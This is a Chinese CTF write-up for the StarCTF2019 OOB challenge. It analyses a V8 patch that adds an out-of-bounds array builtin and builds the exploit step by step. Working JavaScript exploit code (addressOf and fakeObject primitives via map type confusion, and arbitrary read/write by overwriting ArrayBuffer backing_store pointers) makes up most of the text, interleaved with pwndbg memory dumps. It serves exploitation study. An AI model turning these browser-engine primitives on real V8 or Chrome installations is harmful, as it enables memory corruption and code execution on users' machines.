Wiki/Pwn/ChromeV8-Exploit/StarCTF2019_OOB/README.md
2024-09-16 10:28:36 +08:00

954 lines
34 KiB
Markdown
Raw Permalink Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# StarCTF2019 OOB
## 题目分析
题目给出一个`diff`​文件,和`commit`版本号将V8切换版本`apply`​后编译即可完成环境搭建。
```diff
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
```
这段`diff`的意思很明显为某些JS Object添加内置一个名为`oob`​的内置函数,提供一个元素的越界读写功能。`SimpleInstallFunction(isolate_, proto, "oob", Builtins::kArrayOob,2,false);`​对应到具体源码可以看见,这个宏的第二个参数的定义是`Handle<JSArray> proto = factory->NewJSArray(0, TERMINAL_FAST_ELEMENTS_KIND,AllocationType::kOld);`​因此推测是对所有`JSArray`​的对象添加`.obb()`​方法。
## 思路分析
通过`%DebugPrint`​打印出来的内容和直接`print`打印变量得到的内容是不一样的暂时还不知道原因是什么但是在进行漏洞利用的时候是通过编写JS代码实现也就是要使用到变量内的值所以先给出浮点数和整数相互转换以及16进制打印的代码。
```js
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}
function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
```
简单定义一个JS数组
```js
var int_array = [1, 2, 3];
%DebugPrint(int_array);
%DebugPrint(int_array.oob());
print("[*] int array map: " + hex(d2u(int_array.oob())));
```
程序运行输出如下结果,可以看出`int_array.oob()`​恰巧是`&int_array[4]`​,暂时不知道为什么是这样的。而通过`print`​输出的正好就是`elements[3]`​的对应的内存值。
```c
0x1ac09344e061 <JSArray[3]>
0x1ac09344e081 <HeapNumber 2.04868e-310>
[*] int array map: 0x000025b67a800851
pwndbg> job 0x1ac09344e061
0x1ac09344e061: [JSArray]
- map: 0x1a2fc87c2d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x060546e11111 <JSArray[0]>
- elements: 0x1ac09344df29 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x25b67a800c71 <FixedArray[0]> {
#length: 0x3afc85dc01a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x1ac09344df29 <FixedArray[3]> {
0: 1
1: 2
2: 3
}
pwndbg> job 0x1ac09344df29
0x1ac09344df29: [FixedArray]
- map: 0x25b67a800851 <Map>
- length: 3
0: 1
1: 2
2: 3
pwndbg> tele 0x1ac09344e060
00:0000 0x1ac09344e060 —▸ 0x1a2fc87c2d99 ◂— 0x4000025b67a8001
01:0008 0x1ac09344e068 —▸ 0x25b67a800c71 ◂— 0x25b67a8008
02:0010 0x1ac09344e070 —▸ 0x1ac09344df29 ◂— 0x25b67a8008
03:0018 0x1ac09344e078 ◂— 0x300000000
04:0020 0x1ac09344e080 —▸ 0x25b67a800561 ◂— 0x2000025b67a8001
05:0028 0x1ac09344e088 —▸ 0x25b67a800851 ◂— 0x25b67a8001
06:0030 0x1ac09344e090 —▸ 0x25b67a800561 ◂— 0x2000025b67a8001
07:0038 0x1ac09344e098 —▸ 0x25b67a800851 ◂— 0x25b67a8001
pwndbg> tele 0x1ac09344df28
00:0000 0x1ac09344df28 —▸ 0x25b67a800851 ◂— 0x25b67a8001
01:0008 0x1ac09344df30 ◂— 0x300000000
02:0010 0x1ac09344df38 ◂— 0x100000000
03:0018 0x1ac09344df40 ◂— 0x200000000
04:0020 0x1ac09344df48 ◂— 0x300000000
05:0028 0x1ac09344df50 —▸ 0x25b67a800851 ◂— 0x25b67a8001
06:0030 0x1ac09344df58 ◂— 0x400000000
07:0038 0x1ac09344df60 —▸ 0x3afc85dc3b29 ◂— 0x25b67a8009
```
同时可以看出它在内存的分布是这样的:
![image](assets/image-20240906225727-w9b7zb0.png)
`Elements`​和`JSArray`​是不连续的,打印`&Elements[3]`​后续内存中的一些疑似对象的值:
```c
pwndbg> job 0x1ac09344df51
0x1ac09344df51: [FixedArray]
- map: 0x25b67a800851 <Map>
- length: 4
0: 0x3afc85dc3b29 <SharedFunctionInfo>
1: 0x1ac09344d041 <String[562]\: let array_buffer = new ArrayBuffer(0x8);\nlet data_view = new DataView(array_buffer);\n\nfunction d2u(value) {\n data_view.setFloat64(0, value);\n return data_view.getBigUint64(0);\n}\n\nfunction u2d(value) {\n data_view.setBigUint64(0, value);\n return data_view.getFloat64(0);\n}\n\nfunction hex(val) {\n return '0x' + val.toString(16).padStart(16, "0");\n}\n\nvar int_array = [1, 2, 3];\n%DebugPrint(int_array);\n%DebugPrint(int_array.oob());\nprint("[*] int array map: " + hex(d2u(int_array.oob())));\n// %DebugPrint(dv1);\n%SystemBreak();\n\n\n// %SystemBreak();\n\n\n\n\n>
2: 0
3: -1
pwndbg> job 0x1ac09344df81
0x1ac09344df81: [ClosureFeedbackCellArray]
- map: 0x25b67a8012c9 <Map>
- length: 4
0: 1024
1: 0x060546e1f7a1 <FeedbackCell[one closure]>
2: 0x060546e1f7b1 <FeedbackCell[one closure]>
3: 0x060546e1f7c1 <FeedbackCell[one closure]>
pwndbg> job 0x1ac09344dfb1
0x1ac09344dfb1: [Context]
- map: 0x25b67a801279 <Map>
- length: 4
- scope_info: 2
- previous: 0x060546e173e9 <ScriptContext[5]>
- extension: 0x060546e1f8b9 <ScriptContext[6]>
- native_context: 0x25b67a8004d1 <undefined>
0: 2
1: 0x060546e173e9 <ScriptContext[5]>
2: 0x060546e1f8b9 <ScriptContext[6]>
3: 0x25b67a8004d1 <undefined>
```
猜测与代码中`FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());`​的强制类型转换或者某种优化有关系,因此尝试定义一个浮点数组:
```cpp
var float_array = [1.1, 2.2, 3.3];
%DebugPrint(float_array);
%DebugPrint(float_array.oob());
print("[*] float array map: " + hex(d2u(float_array.oob())));
```
调试查看内存值:
```c
0x313b6468e0c1 <JSArray[3]>
0x313b6468e0e1 <HeapNumber 3.6831e-311>
[*] float array map: 0x000006c7ad402ed9
pwndbg> job 0x313b6468e0c1
0x313b6468e0c1: [JSArray]
- map: 0x06c7ad402ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x2e4cc75d1111 <JSArray[0]>
- elements: 0x313b6468e099 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x0e51cd280c71 <FixedArray[0]> {
#length: 0x2906063c01a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x313b6468e099 <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 3.3
}
pwndbg> tele 0x313b6468e098 10
00:0000 0x313b6468e098 —▸ 0xe51cd2814f9 ◂— 0xe51cd2801
01:0008 0x313b6468e0a0 ◂— 0x300000000
02:0010 0x313b6468e0a8 ◂— 0x3ff199999999999a
03:0018 0x313b6468e0b0 ◂— 0x400199999999999a
04:0020 0x313b6468e0b8 ◂— 0x400a666666666666 ('ffffff\n@')
05:0028 0x313b6468e0c0 —▸ 0x6c7ad402ed9 ◂— 0x400000e51cd2801
06:0030 0x313b6468e0c8 —▸ 0xe51cd280c71 ◂— 0xe51cd2808
07:0038 0x313b6468e0d0 —▸ 0x313b6468e099 ◂— 0xe51cd2814
08:0040 0x313b6468e0d8 ◂— 0x300000000
09:0048 0x313b6468e0e0 —▸ 0xe51cd280561 ◂— 0x200000e51cd2801
```
可以发现这次`JSArray`​与`DoubleFixedArray`​在内存中是连续的,而且后者在前者的低地址处,因此`oob`​就可以读写`JSArray`​的`Map`​指针,从而进行类型混淆。
![image](assets/image-20240906225659-xrurxjk.png)
## 构造原语
### AddressOf和FakeObject原语
首先根据类型混淆可以构造出`AddressOf`
首先构造`AddressOf`​原语:
```js
var obj = new Object();
var object_array = [obj];
var object_array_map = object_array.oob();
var float_array = [1.1];
var float_array_map = float_array.oob();
function addressOf(obj) {
float_array.oob(object_array_map);
float_array[0] = obj;
float_array.oob(float_array_map);
return d2u(float_array[0]);
}
```
该原语将任意对象的指针填入`float_array[0]`并欺骗V8引擎在读写代码8、10行数组的过程中正确处理变量类型而不造成变量类型的变化。举个简单的例子如果不经过类型混淆直接调用`float_array[0] = obj`由于JS弱类型/动态类型的特性,这并不会报错,但是`float_array`​的`Map`​指针会指向一个新的类型:
```js
var obj = new Object();
var float_array = [1.1];
%DebugPrint(float_array);
%SystemBreak();
float_array[0] = obj;
%DebugPrint(float_array);
%SystemBreak();
```
第一次断点:
```c
pwndbg> job 0x2907e2b0e0a1
0x2907e2b0e0a1: [JSArray]
- map: 0x0ddb61d02ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x179d4ae91111 <JSArray[0]>
- elements: 0x2907e2b0e089 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x3d3fed280c71 <FixedArray[0]> {
#length: 0x2605401801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x2907e2b0e089 <FixedDoubleArray[1]> {
0: 1.1
}
```
第二次断点:
```c
pwndbg> job 0x2907e2b0e0a1
0x2907e2b0e0a1: [JSArray]
- map: 0x0ddb61d02f79 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x179d4ae91111 <JSArray[0]>
- elements: 0x2907e2b0e0c1 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x3d3fed280c71 <FixedArray[0]> {
#length: 0x2605401801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x2907e2b0e0c1 <FixedArray[1]> {
0: 0x2907e2b0e051 <Object map = 0xddb61d00459>
}
```
可以明显看出`float_array`​的结构发生了变化,这种性质导致无法直接通过修改数组存储的对象的方式获取到对象的地址。
而对于`AddressOf`​原语下断点分析:
```js
var obj = new Object();
var object_array = [obj];
var object_array_map = object_array.oob();
var float_array = [1.1];
var float_array_map = float_array.oob();
function addressOf(obj) {
%SystemBreak();
float_array.oob(object_array_map);
%SystemBreak();
float_array[0] = obj;
float_array.oob(float_array_map);
return d2u(float_array[0]);
}
%DebugPrint(obj);
%DebugPrint(float_array);
print("[*] Address of obj is " + hex(d2u(addressOf(obj))));
%SystemBreak();
```
第一次断点:
```js
0x05294860e1b9 <Object map = 0x3a83e7c40459>
0x05294860e251 <JSArray[1]>
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
pwndbg> job 0x05294860e251
0x5294860e251: [JSArray]
- map: 0x3a83e7c42ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x2ecf8a0d1111 <JSArray[0]>
- elements: 0x05294860e239 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x028849c40c71 <FixedArray[0]> {
#length: 0x0b166b2801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x05294860e239 <FixedDoubleArray[1]> {
0: 1.1
}
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
pwndbg> job 0x05294860e251
0x5294860e251: [JSArray]
- map: 0x3a83e7c42f79 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x2ecf8a0d1111 <JSArray[0]>
- elements: 0x05294860e239 <FixedDoubleArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x028849c40c71 <FixedArray[0]> {
#length: 0x0b166b2801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x05294860e239 <FixedDoubleArray[1]> {
0: 1072798105
}
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
[*] Address of obj is 0x000005294860e1b9
pwndbg> tele 0x05294860e238
00:0000 0x5294860e238 —▸ 0x28849c414f9 ◂— 0x28849c401
01:0008 0x5294860e240 ◂— 0x100000000
02:0010 0x5294860e248 —▸ 0x5294860e1b9 ◂— 0x7100003a83e7c404
03:0018 0x5294860e250 —▸ 0x3a83e7c42ed9 ◂— 0x40000028849c401
04:0020 0x5294860e258 —▸ 0x28849c40c71 ◂— 0x28849c408
05:0028 0x5294860e260 —▸ 0x5294860e239 ◂— 0x28849c414
06:0030 0x5294860e268 ◂— 0x100000000
07:0038 0x5294860e270 —▸ 0x28849c40561 ◂— 0x20000028849c401
pwndbg> job 0x5294860e1b9
0x5294860e1b9: [JS_OBJECT_TYPE]
- map: 0x3a83e7c40459 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2ecf8a0c2091 <Object map = 0x3a83e7c40229>
- elements: 0x028849c40c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x028849c40c71 <FixedArray[0]> {}
```
可以看出`float_array`​和其`Elements`​的类型均未改变,只是`Element[0]`​被修改为`obj`​的地址。由此即构造出`AddressOf`​原语,同理我们可以构造出`FakeObject`​原语:
```js
function fakeObject(addr) {
object_array.oob(float_array_map);
object_array[0] = u2d(addr | 1n);
object_array.oob(object_array_map);
return object_array[0];
}
```
该原语将伪造的对象的首地址填入`object_array[0]`​,这样访问`object_array[0]`​的时候就相当于在访问任意伪造的对象了。
### 任意读任意写原语
接着构造任意读和任意写的原语最朴素的思路是通过JS数组伪造一个假的对象利用`FakeObject`​原语将这个假的对象首地址填入`object_array[0]`​,这样操作`object_array[0]`​就是在操作`Fake JSArray`​,通过`object_array[0][0]`​修改`Elements`​指针,通过`object_array[0][1]`​修改`Length`​长度。再通过`attack_array`​即可实现对`Elements+0x10`​后地址的任意地址读写。
![image](assets/image-20240906225429-i1x9wdb.png)
实际上在内存中可以观察到`target_array`​的`JSArray`​恰好位于`FixedArray`​的连续的低地址处,因此可以获得以下构造:
```js
var x = [6, 6, 6, 6];
var x_addr = addressOf(x);
var attack_array = [1, 2, 3];
var attack_addr = addressOf(attack_array);
var target_array = [
float_array_map, // fake map
0, // fake properties
u2d(attack_addr+0x10n), // fake elements
u2d(0xdeadbeefn << 32n), // fake length
];
var target_addr = addressOf(target_array);
%DebugPrint(x);
%DebugPrint(attack_array);
%DebugPrint(object_array);
%DebugPrint(target_array);
%SystemBreak();
fake_object = fakeObject(target_addr+0x30n);
%DebugPrint(target_array);
%SystemBreak();
fake_object[0] = u2d(x_addr | 1n);
fake_object[1] = u2d(0x200n << 32n);
%DebugPrint(target_array);
%DebugPrint(object_array);
%SystemBreak();
```
第一次断点时查看`object_array`​,其内部存着一个空对象:
```js
0x07327d94ee31 <JSArray[4]>
0x07327d94eee1 <JSArray[3]>
0x07327d94edb9 <JSArray[1]>
0x07327d94ef89 <JSArray[4]>
pwndbg> job 0x07327d94edb9
0x7327d94edb9: [JSArray]
- map: 0x0981e18c2f79 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x191edf611111 <JSArray[0]>
- elements: 0x07327d94eda1 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x0f12fff80c71 <FixedArray[0]> {
#length: 0x0a6ddeb001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x07327d94eda1 <FixedArray[1]> {
0: 0x07327d94ed69 <Object map = 0x981e18c0459>
}
pwndbg> job 0x07327d94ed69
0x7327d94ed69: [JS_OBJECT_TYPE]
- map: 0x0981e18c0459 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x191edf602091 <Object map = 0x981e18c0229>
- elements: 0x0f12fff80c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x0f12fff80c71 <FixedArray[0]> {}
```
将`fake_obj`​填入`object_array`​,成功伪造与`float_array`​具有相同`Map`​的对象:
```js
pwndbg> job 0x07327d94edb9
0x7327d94edb9: [JSArray]
- map: 0x0981e18c2f79 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x191edf611111 <JSArray[0]>
- elements: 0x07327d94eda1 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x0f12fff80c71 <FixedArray[0]> {
#length: 0x0a6ddeb001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x07327d94eda1 <FixedArray[1]> {
0: 0x07327d94efb9 <JSArray[3735928559]>
}
pwndbg> job 0x07327d94ef89
0x7327d94ef89: [JSArray]
- map: 0x0981e18c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x191edf611111 <JSArray[0]>
- elements: 0x07327d94efa9 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x0f12fff80c71 <FixedArray[0]> {
#length: 0x0a6ddeb001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x07327d94efa9 <FixedDoubleArray[4]> {
0: 5.16469e-311
1: 0
2: 3.90976e-311
3: -1.1886e+148
}
pwndbg> tel 0x07327d94efa8
00:0000 0x7327d94efa8 —▸ 0xf12fff814f9 ◂— 0xf12fff801
01:0008 0x7327d94efb0 ◂— 0x400000000
02:0010 0x7327d94efb8 —▸ 0x981e18c2ed9 ◂— 0x400000f12fff801
03:0018 0x7327d94efc0 ◂— 0
04:0020 0x7327d94efc8 —▸ 0x7327d94eef1 ◂— 0x7327d94e3
05:0028 0x7327d94efd0 ◂— 0xdeadbeef00000000
06:0030 0x7327d94efd8 —▸ 0xf12fff813b9 ◂— 0xf12fff801
07:0038 0x7327d94efe0 ◂— 2
pwndbg> job 0xf12fff814f9
0xf12fff814f9: [Map]
- type: FIXED_DOUBLE_ARRAY_TYPE
- instance size: variable
- elements kind: HOLEY_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x0f12fff804d1 <undefined>
- prototype_validity cell: 0
- instance descriptors (own) #0: 0x0f12fff80259 <DescriptorArray[0]>
- layout descriptor: (nil)
- prototype: 0x0f12fff801d9 <null>
- constructor: 0x0f12fff801d9 <null>
- dependent code: 0x0f12fff802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter:
pwndbg> job 0x981e18c2ed9
0x981e18c2ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x0981e18c2e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x0a6ddeb00609 <Cell value= 1>
- instance descriptors #1: 0x191edf611f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x191edf611eb9 <TransitionArray[4]>Transition array #1:
0x0f12fff84ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x0981e18c2f29 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x191edf611111 <JSArray[0]>
- constructor: 0x191edf610ec1 <JSFunction Array (sfi = 0xa6ddeb06791)>
- dependent code: 0x0f12fff802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
```
但是使用`job 0x07327d94efb9`​会报错:
```js
#
# Fatal error in , line 0
# unreachable code
#
#
#
#FailureMessage Object: 0x7ffe1f3cb270
==== C stack trace ===============================
/home/v8/v8/out.gn/x64.release/d8(v8::base::debug::StackTrace::StackTrace()+0x13) [0x5621f57e2903]
/home/v8/v8/out.gn/x64.release/d8(+0x1107edb) [0x5621f57e1edb]
/home/v8/v8/out.gn/x64.release/d8(V8_Fatal(char const*, int, char const*, ...)+0x148) [0x5621f57dc8e8]
/home/v8/v8/out.gn/x64.release/d8(+0xc416dc) [0x5621f531b6dc]
/home/v8/v8/out.gn/x64.release/d8(v8::internal::HeapObject::HeapObjectShortPrint(std::__1::basic_ostream<char, std::__1::char_traits<char> >&)+0xa9) [0x5621f529bc49]
/home/v8/v8/out.gn/x64.release/d8(v8::internal::operator<<(std::__1::basic_ostream<char, std::__1::char_traits<char> >&, v8::internal::Brief const&)+0x7c) [0x5621f528f89c]
/home/v8/v8/out.gn/x64.release/d8(+0xbaab7b) [0x5621f5284b7b]
/home/v8/v8/out.gn/x64.release/d8(v8::internal::HeapObject::HeapObjectPrint(std::__1::basic_ostream<char, std::__1::char_traits<char> >&)+0x9a3) [0x5621f5276003]
/home/v8/v8/out.gn/x64.release/d8(v8::internal::Object::Print(std::__1::basic_ostream<char, std::__1::char_traits<char> >&) const+0xc0) [0x5621f52755c0]
/home/v8/v8/out.gn/x64.release/d8(v8::internal::Object::Print() const+0x3e) [0x5621f52753ce]
/home/v8/v8/out.gn/x64.release/d8(_v8_internal_Print_Object(void*)+0x15) [0x5621f5286f95]
[0x7ffe1f3cbbef]
Thread 1 "d8" received signal SIGILL, Illegal instruction.
0x00005621f57dff32 in v8::base::OS::Abort() ()
#2 0x00005621f531b6dc in v8::internal::String::StringShortPrint(v8::internal::StringStream*, bool) ()
```
继续运行也会报错:
```js
pwndbg> c
Continuing.
Received signal 4 ILL_ILLOPN 5621f57dff32
Thread 1 "d8" received signal SIGILL, Illegal instruction.
```
据说是因为`FixedDoubleArray`​在进行数组访问时会要`Elements`​指向的范围是否在堆地址范围内,伪造浮点数数组操作时会触发`Inline Cache`​。
但是可以使用`ArrayBuffer``DataView` 来构造任意地址读写,首先看看这两个结构在内存中的表示:
```js
let array_buffer = new ArrayBuffer(0x20);
let data_view = new DataView(array_buffer);
%DebugPrint(array_buffer);
%DebugPrint(data_view);
%SystemBreak();
```
查看内存值:
```js
0x3f16f0c0e9e9 <ArrayBuffer map = 0x379033d821b9>
0x3f16f0c0ea29 <DataView map = 0x379033d81719>
pwndbg> job 0x3f16f0c0e9e9
0x3f16f0c0e9e9: [JSArrayBuffer]
- map: 0x379033d821b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x395697cce981 <Object map = 0x379033d82209>
- elements: 0x3a00cefc0c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x55f06c896c50
- byte_length: 32
- detachable
- properties: 0x3a00cefc0c71 <FixedArray[0]> {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
pwndbg> tel 0x3f16f0c0e9e8
00:0000 0x3f16f0c0e9e8 —▸ 0x379033d821b9 ◂— 0x800003a00cefc01
01:0008 0x3f16f0c0e9f0 —▸ 0x3a00cefc0c71 ◂— 0x3a00cefc08
02:0010 0x3f16f0c0e9f8 —▸ 0x3a00cefc0c71 ◂— 0x3a00cefc08
03:0018 0x3f16f0c0ea00 ◂— 0x20 /* ' ' */
04:0020 0x3f16f0c0ea08 —▸ 0x55f06c896c50 ◂— 0
05:0028 0x3f16f0c0ea10 ◂— 2
06:0030 0x3f16f0c0ea18 ◂— 0
07:0038 0x3f16f0c0ea20 ◂— 0
pwndbg> x/8gx 0x55f06c896c50-0x10
0x55f06c896c40: 0x000000000000022f 0x0000000000000031
0x55f06c896c50: 0x0000000000000000 0x0000000000000000
0x55f06c896c60: 0x0000000000000000 0x0000000000000000
0x55f06c896c70: 0x0000000000000000 0x0000000000000031
```
因此`ArrayBuffer`​在内存中的布局如下,其中`Backing_length`​不是`HeapObject`​对象,而是直接由堆管理器分配的一个堆快,在`Chrome`​中是`PartitionAlloc`​,在`d8`​中是`ptmalloc2`​。如果能够修改`Backing_store`​指针,就可以实现任意地址读写,这也是常用的利用手法。
![image](assets/image-20240906235307-v5p2br7.png)
`ArrayBuffer`​是维护`Backing_store`​内存区的抽象类,其读写必须依赖于`TypedArray`​或`DataView`​,从下图中很容易看出他们之间的继承关系:
![image](assets/image-20240906234540-augcj8g.png)
这里先分析`DataView`​的结构:
```js
pwndbg> job 0x3f16f0c0ea29
0x3f16f0c0ea29: [JSDataView]
- map: 0x379033d81719 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x395697ccaff9 <Object map = 0x379033d81769>
- elements: 0x3a00cefc0c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- buffer =0x3f16f0c0e9e9 <ArrayBuffer map = 0x379033d821b9>
- byte_offset: 0
- byte_length: 32
- properties: 0x3a00cefc0c71 <FixedArray[0]> {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
pwndbg> tel 0x3f16f0c0ea28
00:0000 0x3f16f0c0ea28 —▸ 0x379033d81719 ◂— 0x800003a00cefc01
01:0008 0x3f16f0c0ea30 —▸ 0x3a00cefc0c71 ◂— 0x3a00cefc08
02:0010 0x3f16f0c0ea38 —▸ 0x3a00cefc0c71 ◂— 0x3a00cefc08
03:0018 0x3f16f0c0ea40 —▸ 0x3f16f0c0e9e9 ◂— 0x710000379033d821
04:0020 0x3f16f0c0ea48 ◂— 0
05:0028 0x3f16f0c0ea50 ◂— 0x20 /* ' ' */
06:0030 0x3f16f0c0ea58 ◂— 0
07:0038 0x3f16f0c0ea60 ◂— 0
```
在内存中的示意图:
![image](assets/image-20240906235316-qpfqxdd.png)
因此我们就可以得到类似的任意地址写的策略,利用`Elements`​修改`ab1`​的`BackingStore`​,指向`ab2`​的`BackingStore`​,需要任意地址写的时候通过`ab1`​修改`ab2`​的`BackingStore`​为任意地址,通过`ab2`​进行任意地址写,`DataView`​只是`ArrayBuffer`​的一层接口包装,无需在构造时考虑:
![image](assets/image-20240907004342-krfbgep.png)
通过上图构造编写如下代码:
```js
var ab1 = new ArrayBuffer(0x8);
var ab2 = new ArrayBuffer(0x1000);
var dv1 = new DataView(ab1);
var dv2 = new DataView(ab2);
var ab1_backing_store_addr = addressOf(ab1) + 0x20n;
var ab2_backing_store_addr = addressOf(ab2) + 0x20n;
float_array_mem = [
float_array_map,
0,
u2d(ab1_backing_store_addr - 0x10n),
u2d(0xdeadbeefn << 32n)
];
float_mem_addr = addressOf(float_array_mem);
fake_array = fakeObject(float_mem_addr + 0x30n);
fake_array[0] = u2d(ab2_backing_store_addr - 1n);
%DebugPrint(ab1);
%DebugPrint(ab2);
%DebugPrint(fake_array);
%SystemBreak();
```
调试发现确实修改到的`ab1`​的`BackingStore`​属性并将其指向`ab2`​的`BackingStore`
```js
0x0bbd8c44ed61 <ArrayBuffer map = 0x101468c421b9>
0x0bbd8c44eda1 <ArrayBuffer map = 0x101468c421b9>
0x0bbd8c44efe9 <JSArray[3735928559]>
pwndbg> job 0x0bbd8c44efe9
0xbbd8c44efe9: [JSArray]
- map: 0x101468c42ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x27a91ed91111 <JSArray[0]>
- elements: 0x0bbd8c44ed71 <String[#0]: > [PACKED_DOUBLE_ELEMENTS]
- length: -559038737
- properties: {
#length: 0x16d085c801a9 <AccessorInfo> (const accessor descriptor)
}
pwndbg> job 0x0bbd8c44ed61
0xbbd8c44ed61: [JSArrayBuffer]
